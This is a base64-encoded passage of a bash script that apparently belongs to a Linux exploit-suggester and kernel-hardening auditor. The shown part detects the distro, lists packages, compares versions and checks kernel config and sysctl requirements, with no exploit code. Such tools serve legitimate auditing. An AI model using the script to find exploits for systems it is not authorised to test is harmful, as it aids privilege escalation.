CcgJiYgT1M9ImFyY2giCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1kZWVwaW4nICYmIE9TPSJkZWVwaW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1NQU5KQVJPJyAmJiBPUz0ibWFuamFybyIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLmZjJyAmJiBPUz0iZmVkb3JhIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wuZWwnICYmIE9TPSJSSEVMIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wubWdhJyAmJiBPUz0ibWFnZWlhIgoKICAgICMgJ3VuYW1lIC1hJyBvdXRwdXQgZG9lc24ndCBjb250YWluIGRpc3RyaWJ1dGlvbiBudW1iZXIgKGF0IGxlYXN0IG5vdCBpbiBjYXNlIG9mIGFsbCBkaXN0cm9zKQp9CgpnZXRQa2dMaXN0KCkgewogICAgbG9jYWwgZGlzdHJvPSQxCiAgICBsb2NhbCBwa2dsaXN0X2ZpbGU9JDIKICAgIAogICAgIyB0YWtlIHBhY2thZ2UgbGlzdGluZyBmcm9tIHByb3ZpZGVkIGZpbGUgJiBkZXRlY3QgaWYgaXQncyAncnBtIC1xYScgbGlzdGluZyBvciAnZHBrZyAtbCcgb3IgJ3BhY21hbiAtUScgbGlzdGluZyBvZiBub3QgcmVjb2duaXplZCBsaXN0aW5nCiAgICBpZiBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgLWEgLWUgIiRwa2dsaXN0X2ZpbGUiIF07IHRoZW4KCiAgICAgICAgIyB1YnVudHUvZGViaWFuIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgaWYgWyAkKGhlYWQgLTEgIiRwa2dsaXN0X2ZpbGUiIHwgZ3JlcCAnRGVzaXJlZD1Vbmtub3duL0luc3RhbGwvUmVtb3ZlL1B1cmdlL0hvbGQnKSBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIiB8IGF3ayAne3ByaW50ICQyIi0iJDN9JyB8IHNlZCAncy86YW1kNjQvL2cnKQoKICAgICAgICAgICAgT1M9ImRlYmlhbiIKICAgICAgICAgICAgWyAiJChncmVwIHVidW50dSAiJHBrZ2xpc3RfZmlsZSIpIiBdICYmIE9TPSJ1YnVudHUiCiAgICAgICAgIyByZWRoYXQgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5lbFsxLTldK1tcLl9dJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJSSEVMIgogICAgICAgICMgZmVkb3JhIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wuZmNbMS05XSsnaSAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJmZWRvcmEiCiAgICAgICAgIyBtYWdlaWEgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5tZ2FbMS05XSsnICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIikKICAgICAgICAgICAgT1M9Im1hZ2VpYSIKICAgICAgICAjIHBhY21hbiBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcIFswLTldK1wuJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIgfCBhd2sgJ3twcmludCAkMSItIiQyfScpCiAgICAgICAgICAgIE9TPSJhcmNoIgogICAgICAgICMgZmlsZSBub3QgcmVjb2duaXplZCAtIHNraXBwaW5nCiAgICAgICAgZWxzZQogICAgICAgICAgICBQS0dfTElTVD0iIgogICAgICAgIGZpCgogICAgZWxpZiBbICIkZGlzdHJvIiA9ICJkZWJpYW4iIC1vICIkZGlzdHJvIiA9ICJ1YnVudHUiIC1vICIkZGlzdHJvIiA9ICJkZWVwaW4iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKGRwa2cgLWwgfCBhd2sgJ3twcmludCAkMiItIiQzfScgfCBzZWQgJ3MvOmFtZDY0Ly9nJykKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiUkhFTCIgLW8gIiRkaXN0cm8iID0gImZlZG9yYSIgLW8gIiRkaXN0cm8iID0gIm1hZ2VpYSIgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQocnBtIC1xYSkKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiYXJjaCIgLW8gIiRkaXN0cm8iID0gIm1hbmphcm8iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKHBhY21hbiAtUSB8IGF3ayAne3ByaW50ICQxIi0iJDJ9JykKICAgIGVsaWYgWyAteCAvdXNyL2Jpbi9lcXVlcnkgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQoL3Vzci9iaW4vZXF1ZXJ5IC0tcXVpZXQgbGlzdCAnKicgLUYgJyRuYW1lOiR2ZXJzaW9uJyB8IGN1dCAtZC8gLWYyLSB8IGF3ayAne3ByaW50ICQxIjoiJDJ9JykKICAgIGVsc2UKICAgICAgICAjIHBhY2thZ2VzIGxpc3Rpbmcgbm90IGF2YWlsYWJsZQogICAgICAgIFBLR19MSVNUPSIiCiAgICBmaQp9CgojIGZyb206IGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQwMjM4MzAvaG93LWNvbXBhcmUtdHdvLXN0cmluZ3MtaW4tZG90LXNlcGFyYXRlZC12ZXJzaW9uLWZvcm1hdC1pbi1iYXNoCnZlckNvbXBhcmlzaW9uKCkgewoKICAgIGlmIFtbICQxID09ICQyIF1dCiAgICB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGZpCgogICAgbG9jYWwgSUZTPS4KICAgIGxvY2FsIGkgdmVyMT0oJDEpIHZlcjI9KCQyKQoKICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMSB3aXRoIHplcm9zCiAgICBmb3IgKChpPSR7I3ZlcjFbQF19OyBpPCR7I3ZlcjJbQF19OyBpKyspKQogICAgZG8KICAgICAgICB2ZXIxW2ldPTAKICAgIGRvbmUKCiAgICBmb3IgKChpPTA7IGk8JHsjdmVyMVtAXX07IGkrKykpCiAgICBkbwogICAgICAgIGlmIFtbIC16ICR7dmVyMltpXX0gXV0KICAgICAgICB0aGVuCiAgICAgICAgICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMiB3aXRoIHplcm9zCiAgICAgICAgICAgIHZlcjJbaV09MAogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19ID4gMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMQogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19IDwgMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMgogICAgICAgIGZpCiAgICBkb25lCgogICAgcmV0dXJuIDAKfQoKZG9WZXJzaW9uQ29tcGFyaXNpb24oKSB7CiAgICBsb2NhbCByZXFWZXJzaW9uPSIkMSIKICAgIGxvY2FsIHJlcVJlbGF0aW9uPSIkMiIKICAgIGxvY2FsIGN1cnJlbnRWZXJzaW9uPSIkMyIKCiAgICB2ZXJDb21wYXJpc2lvbiAkY3VycmVudFZlcnNpb24gJHJlcVZlcnNpb24KICAgIGNhc2UgJD8gaW4KICAgICAgICAwKSBjdXJyZW50UmVsYXRpb249Jz0nOzsKICAgICAgICAxKSBjdXJyZW50UmVsYXRpb249Jz4nOzsKICAgICAgICAyKSBjdXJyZW50UmVsYXRpb249JzwnOzsKICAgIGVzYWMKCiAgICBpZiBbICIkcmVxUmVsYXRpb24iID09ICI9IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI9IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIj4iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj4iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPCIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI+PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPiIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI8PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZmkKfQoKY29tcGFyZVZhbHVlcygpIHsKICAgIGN1clZhbD0kMQogICAgdmFsPSQyCiAgICBzaWduPSQzCgogICAgaWYgWyAiJHNpZ24iID09ICI9PSIgXTsgdGhlbgogICAgICAgIFsgIiR2YWwiID09ICIkY3VyVmFsIiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRzaWduIiA9PSAiIT0iIF07IHRoZW4KICAgICAgICBbICIkdmFsIiAhPSAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAogICAgZmkKCiAgICByZXR1cm4gMQp9CgpjaGVja1JlcXVpcmVtZW50KCkgewogICAgI2VjaG8gIkNoZWNraW5nIHJlcXVpcmVtZW50OiAkMSIKICAgIGxvY2FsIElOPSIkMSIKICAgIGxvY2FsIHBrZ05hbWU9IiR7Mjo0fSIKCiAgICBpZiBbWyAiJElOIiA9fiBecGtnPS4qJCBdXTsgdGhlbgoKICAgICAgICAjIGFsd2F5cyB0cnVlIGZvciBMaW51eCBPUwogICAgICAgIFsgJHtwa2dOYW1lfSA9PSAibGludXgta2VybmVsIiBdICYmIHJldHVybiAwCgogICAgICAgICMgdmVyaWZ5IGlmIHBhY2thZ2UgaXMgcHJlc2VudCAKICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQogICAgICAgIGlmIFsgLW4gIiRwa2ciIF07IHRoZW4KICAgICAgICAgICAgcmV0dXJuIDAKICAgICAgICBmaQoKICAgIGVsaWYgW1sgIiRJTiIgPX4gXnZlci4qJCBdXTsgdGhlbgogICAgICAgIHZlcnNpb249IiR7SU4vL1teMC05Ll0vfSIKICAgICAgICByZXN0PSIke0lOI3Zlcn0iCiAgICAgICAgb3BlcmF0b3I9JHtyZXN0JSR2ZXJzaW9ufQoKICAgICAgICBpZiBbICIkcGtnTmFtZSIgPT0gImxpbnV4LWtlcm5lbCIgLW8gIiRvcHRfY2hlY2tzZWNfbW9kZSIgPT0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGUgc2tpcCBrZXJuZWwgdmVyc2lvbiBjb21wYXJpc2lvbgogICAgICAgICAgICBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgZG9WZXJzaW9uQ29tcGFyaXNpb24gJHZlcnNpb24gJG9wZXJhdG9yICRLRVJORUwgJiYgcmV0dXJuIDAKICAgICAgICBlbHNlCiAgICAgICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIHZlcnNpb24gYW5kIGNoZWNrIGlmIHJlcXVpcmVtbnQgaXMgdHJ1ZQogICAgICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQoKICAgICAgICAgICAgIyBza2lwIChpZiBydW4gd2l0aCAtLXNraXAtcGtnLXZlcnNpb25zKSB2ZXJzaW9uIGNoZWNraW5nIGlmIHBhY2thZ2Ugd2l0aCBnaXZlbiBuYW1lIGlzIGluc3RhbGxlZAogICAgICAgICAgICBbICIkb3B0X3NraXBfcGtnX3ZlcnNpb25zIiA9ICJ0cnVlIiAtYSAtbiAiJHBrZyIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgIyB2ZXJzaW9uaW5nOgogICAgICAgICAgICAjZWNobyAicGtnOiAkcGtnIgogICAgICAgICAgICBwa2dWZXJzaW9uPSQoZWNobyAiJHBrZyIgfCBncmVwIC1FIC1pIC1vIC1lICctW1wuMC05XCs6cF0rWy1cK10nIHwgY3V0IC1kJzonIC1mMiB8IHNlZCAncy9bXCstXS8vZycgfCBzZWQgJ3MvcFswLTldLy9nJykKICAgICAgICAgICAgI2VjaG8gInZlcnNpb246ICRwa2dWZXJzaW9uIgogICAgICAgICAgICAjZWNobyAib3BlcmF0b3I6ICRvcGVyYXRvciIKICAgICAgICAgICAgI2VjaG8gInJlcXVpcmVkIHZlcnNpb246ICR2ZXJzaW9uIgogICAgICAgICAgICAjZWNobwogICAgICAgICAgICBkb1ZlcnNpb25Db21wYXJpc2lvbiAkdmVyc2lvbiAkb3BlcmF0b3IgJHBrZ1ZlcnNpb24gJiYgcmV0dXJuIDAKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBeeDg2XzY0JCBdXSAmJiBbICIkQVJDSCIgPT0gIng4Nl82NCIgLW8gIiRBUkNIIiA9PSAiIiBdOyB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGVsaWYgW1sgIiRJTiIgPX4gXng4NiQgXV0gJiYgWyAiJEFSQ0giID09ICJpMzg2IiAtbyAiJEFSQ0giID09ICJpNjg2IiAtbyAiJEFSQ0giID09ICIiIF07IHRoZW4KICAgICAgICByZXR1cm4gMAogICAgZWxpZiBbWyAiJElOIiA9fiBeQ09ORklHXy4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgc2V0KSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyBpZiBrZXJuZWwgY29uZmlnIElTIGF2YWlsYWJsZToKICAgICAgICBpZiBbIC1uICIkS0NPTkZJRyIgXTsgdGhlbgogICAgICAgICAgICBpZiAkS0NPTkZJRyB8IGdyZXAgLUUgLXFpICRJTjsgdGhlbgogICAgICAgICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgICAgICMgcmVxdWlyZWQgb3B0aW9uIHdhc24ndCBmb3VuZCwgZXhwbG9pdCBpcyBub3QgYXBwbGljYWJsZQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICAgICAgZmkKICAgICAgICAjIGNvbmZpZyBpcyBub3QgYXZhaWxhYmxlCiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBec3lzY3RsOi4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgbW9kZXMpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICBzeXNjdGxDb25kaXRpb249IiR7SU46N30iCgogICAgICAgICMgZXh0cmFjdCBzeXNjdGwgZW50cnksIHJlbGF0aW9uIHNpZ24gYW5kIHJlcXVpcmVkIHZhbHVlCiAgICAgICAgaWYgZWNobyAkc3lzY3RsQ29uZGl0aW9uIHwgZ3JlcCAtcWkgIiE9IjsgdGhlbgogICAgICAgICAgICBzaWduPSIhPSIKICAgICAgICBlbGlmIGVjaG8gJHN5c2N0bENvbmRpdGlvbiB8IGdyZXAgLXFpICI9PSI7IHRoZW4KICAgICAgICAgICAgc2lnbj0iPT0iCiAgICAgICAgZWxzZQogICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiV3Jvbmcgc3lzY3RsIGNvbmRpdGlvbi4gVGhlcmUgaXMgc3ludGF4IGVycm9yIGluIHlvdXIgZmVhdHVyZXMgREIuIEFib3J0aW5nLiIKICAgICAgICBmaQogICAgICAgIHZhbD0kKGVjaG8gIiRzeXNjdGxDb25kaXRpb24iIHwgYXdrIC1GICIkc2lnbiIgJ3twcmludCAkMn0nKQogICAgICAgIGVudHJ5PSQoZWNobyAiJHN5c2N0bENvbmRpdGlvbiIgfCBhd2sgLUYgIiRzaWduIiAne3ByaW50ICQxfScpCgogICAgICAgICMgZ2V0IGN1cnJlbnQgc2V0dGluZyBvZiBzeXNjdGwgZW50cnkKICAgICAgICBjdXJWYWw9JCgvc2Jpbi9zeXNjdGwgLWEgMj4gL2Rldi9udWxsIHwgZ3JlcCAiJGVudHJ5IiB8IGF3ayAtRic9JyAne3ByaW50ICQyfScpCgogICAgICAgICMgc3BlY2lhbCBjYXNlIGZvciAtLWNoZWNrc2VjIG1vZGU6IHJldHVybiAyIGlmIHRoZXJlIGlzIG5vIHN1Y2ggc3dpdGNoIGluIHN5c2N0bAogICAgICAgIFsgLXogIiRjdXJWYWwiIC1hICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF0gJiYgcmV0dXJuIDIKCiAgICAgICAgIyBmb3Igb3RoZXIgbW9kZXM6IHNraXAgaWYgdGhlcmUgaXMgbm8gc3VjaCBzd2l0Y2ggaW4gc3lzY3RsCiAgICAgICAgWyAteiAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIGNvbXBhcmUgJiByZXR1cm4gcmVzdWx0CiAgICAgICAgY29tcGFyZVZhbHVlcyAkY3VyVmFsICR2YWwgJHNpZ24gJiYgcmV0dXJuIDAKCiAgICBlbGlmIFtbICIkSU4iID1+IF5jbWQ6LiokIF1dOyB0aGVuCgogICAgICAgICMgc2tpcCBpZiBjaGVjayBpcyBub3QgYXBwbGljYWJsZSAoLWsgb3IgLS11bmFtZSBvciAtcCBtb2Rlcykgb3IgaWYgdXNlciBzYWlkIHNvICgtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgIGNtZD0iJHtJTjo0fSIKICAgICAgICBpZiBldmFsICIke2NtZH0iOyB0aGVuCiAgICAgICAgICAgIHJldHVybiAwCiAgICAgICAgZmkKICAgIGZpCgogICAgcmV0dXJuIDEKfQoKZ2V0S2VybmVsQ29uZmlnKCkgewoKICAgIGlmIFsgLWYgL3Byb2MvY29uZmlnLmd6IF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iemNhdCAvcHJvYy9jb25maWcuZ3oiCiAgICBlbGlmIFsgLWYgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAgXSA7IHRoZW4KICAgICAgICBLQ09ORklHPSJjYXQgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAiCiAgICBlbGlmIFsgLWYgIiR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ii8uY29uZmlnIF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iY2F0ICR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ly5jb25maWciCiAgICBlbHNlCiAgICAgICAgS0NPTkZJRz0iIgogICAgZmkKfQoKY2hlY2tzZWNNb2RlKCkgewoKICAgIE1PREU9MAoKICAgICMgc3RhcnQgYW5hbHlzaXMKZm9yIEZFQVRVUkUgaW4gIiR7RkVBVFVSRVNbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRGRUFUVVJFIgoKCSMgbW9kZXM6IGtlcm5lbC1mZWF0dXJlICgxKSB8IGh3LWZlYXR1cmUgKDIpIHwgM3JkcGFydHktZmVhdHVyZSAoMykgfCBhdHRhY2stc3VyZmFjZSAoNCkKICAgIE5BTUU9IiR7YXJyWzBdfSIKICAgIFBSRV9OQU1FPSIke05BTUU6MDo4fSIKICAgIE5BTUU9IiR7TkFNRTo5fSIKICAgIGlmIFsgIiR7UFJFX05BTUV9IiA9ICJzZWN0aW9uOiIgXTsgdGhlbgoJCSMgYWR2YW5jZSB0byBuZXh0IE1PREUKCQlNT0RFPSQoKCRNT0RFICsgMSkpCgogICAgICAgIGVjaG8KICAgICAgICBlY2hvIC1lICIke2JsZHdodH0ke05BTUV9JHt0eHRyc3R9IgogICAgICAgIGVjaG8KICAgICAgICBjb250aW51ZQogICAgZmkKCiAgICBBVkFJTEFCTEU9IiR7YXJyWzFdfSIgJiYgQVZBSUxBQkxFPSIke0FWQUlMQUJMRToxMX0iCiAgICBFTkFCTEU9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJlbmFibGVkOiAiIHwgYXdrIC1GJ2VkOiAnICd7cHJpbnQgJDJ9JykKICAgIGFuYWx5c2lzX3VybD0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImFuYWx5c2lzLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgogICAgIyBzcGxpdCBsaW5lIHdpdGggYXZhaWxhYmlsaXR5IHJlcXVpcmVtZW50cyAmIGxvb3AgdGhydSBhbGwgYXZhaWxhYmlsaXR5IHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkQVZBSUxBQkxFIgogICAgQVZBSUxBQkxFX1JFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9MAoJQ09ORklHPSIiCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCgoJCSMgZmluZCBDT05GSUdfIG5hbWUgKGlmIHByZXNlbnQpIGZvciBjdXJyZW50IGZlYXR1cmUgKG9ubHkgZm9yIGRpc3BsYXkgcHVycG9zZXMpCgkJaWYgWyAteiAiJENPTkZJRyIgXTsgdGhlbgoJCQljb25maWc9JChlY2hvICIkUkVRIiB8IGdyZXAgIkNPTkZJR18iKQoJCQlbIC1uICIkY29uZmlnIiBdICYmIENPTkZJRz0iKCQoZWNobyAkUkVRIHwgY3V0IC1kJz0nIC1mMSkpIgoJCWZpCgogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIik7IHRoZW4KICAgICAgICAgICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9JCgoJEFWQUlMQUJMRV9QQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBzcGxpdCBsaW5lIHdpdGggZW5hYmxlbWVudCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIGVuYWJsZW1lbnQgcmVxcyBvbmUgYnkgb25lICYgY2hlY2sgd2hldGhlciBpdCBpcyBtZXQKICAgIEVOQUJMRV9QQVNTRURfUkVRPTAKICAgIEVOQUJMRV9SRVFTX05VTT0wCiAgICBub1N5c2N0bD0wCiAgICBpZiBbIC1uICIkRU5BQkxFIiBdOyB0aGVuCiAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJEVOQUJMRSIKICAgICAgICBFTkFCTEVfUkVRU19OVU09JHsjYXJyYXlbQF19CiAgICAgICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgICAgICBjbWRTdGRvdXQ9JChjaGVja1JlcXVpcmVtZW50ICIkUkVRIikKICAgICAgICAgICAgcmV0VmFsPSQ/CiAgICAgICAgICAgIGlmIFsgJHJldFZhbCAtZXEgMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBFTkFCTEVfUEFTU0VEX1JFUT0kKCgkRU5BQkxFX1BBU1NFRF9SRVEgKyAxKSkKICAgICAgICAgICAgZWxpZiBbICRyZXRWYWwgLWVxIDIgXTsgdGhlbgogICAgICAgICAgICAjIHNwZWNpYWwgY2FzZTogc3lzY3RsIGVudHJ5IGlzIG5vdCBwcmVzZW50IG9uIGdpdmVuIHN5c3RlbTogc2lnbmFsIGl0IGFzOiBOL0EKICAgICAgICAgICAgICAgIG5vU3lzY3RsPTEKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZG9uZQogICAgZmkKCiAgICBmZWF0dXJlPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiZmVhdHVyZTogIiB8IGN1dCAtZCcgJyAtZiAyLSkKCiAgICBpZiBbIC1uICIkY21kU3Rkb3V0IiBdOyB0aGVuCiAgICAgICAgaWYgWyAkY21kU3Rkb3V0IC1lcSAwIF07IHRoZW4KICAgICAgICAgICAgc3RhdGU9IlsgJHt0eHRyZWR9U2V0IHRvICRjbWRTdGRvdXQke3R4dHJzdH0gXSIKCQkJY21kU3Rkb3V0PSIiCiAgICAgICAgZWxzZQogICAgICAgICAgICBzdGF0ZT0iWyAke3R4dGdybn1TZXQgdG8gJGNtZFN0ZG91dCR7dHh0cnN0fSBdIgoJCQljbWRTdGRvdXQ9IiIKICAgICAgICBmaQogICAgZWxzZQoKCXVua25vd249IlsgJHt0eHRncmF5fVVua25vd24ke3R4dHJzdH0gIF0iCgoJIyBmb3IgM3JkIHBhcnR5ICgzKSBtb2RlIGRpc3BsYXkgIk4vQSIgb3IgIkVuYWJsZWQiCglpZiBbICRNT0RFIC1lcSAzIF07IHRoZW4KICAgICAgICAgICAgZW5hYmxlZD0iWyAke3R4dGdybn1FbmFibGVkJHt0eHRyc3R9ICAgXSIKICAgICAgICAgICAgZGlzYWJsZWQ9IlsgICAke3R4dGdyYXl9Ti9BJHt0eHRyc3R9ICAgIF0iCgogICAgICAgICMgZm9yIGF0dGFjay1zdXJmYWNlICg0KSBtb2RlIGRpc3BsYXkgIkxvY2tlZCIgb3IgIkV4cG9zZWQiCiAgICAgICAgZWxpZiBbICRNT0RFIC1lcSA0IF07IHRoZW4KICAgICAgICAgICBlbmFibGVkPSJbICR7dHh0cmVkfUV4cG9zZWQke3R4dHJzdH0gIF0iCiAgICAgICAgICAgZGlzYWJsZWQ9IlsgJHt0eHRncm59TG9ja2VkJHt0eHRyc3R9ICAgXSIKCgkjIG90aGVyIG1vZGVzIiAiRGlzYWJsZWQiIC8gIkVuYWJsZWQiCgllbHNlCgkJZW5hYmxlZD0iWyAke3R4dGdybn1FbmFibGVkJHt0eHRyc3R9ICBdIgoJCWRpc2FibGVkPSJbICR7dHh0cmVkfURpc2FibGVkJHt0eHRyc3R9IF0iCglmaQoKCWlmIFsgLXogIiRLQ09ORklHIiAtYSAiJEVOQUJMRV9SRVFTX05VTSIgPSAwIF07IHRoZW4KCSAgICBzdGF0ZT0kdW5rbm93bgogICAgZWxpZiBbICRBVkFJTEFCTEVfUEFTU0VEX1JFUSAtZXEgJEFWQUlMQUJMRV9SRVFTX05VTSAtYSAkRU5BQkxFX1BBU1NFRF9SRVEgLWVxICRFTkFCTEVfUkVRU19OVU0gXTsgdGhlbgogICAgICAgIHN0YXRlPSRlbmFibGVkCiAgICBlbHNlCiAgICAgICAgc3RhdGU9JGRpc2FibGVkCglmaQoKICAgIGZpCgogICAgZWNobyAtZSAiICRzdGF0ZSAkZmVhdHVyZSAke3dodH0ke0NPTkZJR30ke3R4dHJzdH0iCiAgICBbIC1uICIkYW5hbHlzaXNfdXJsIiBdICYmIGVjaG8gLWUgIiAgICAgICAgICAgICAgJGFuYWx5c2lzX3VybCIKICAgIGVjaG8KCmRvbmUKCn0KCmRpc3BsYXlFeHBvc3VyZSgpIHsKICAg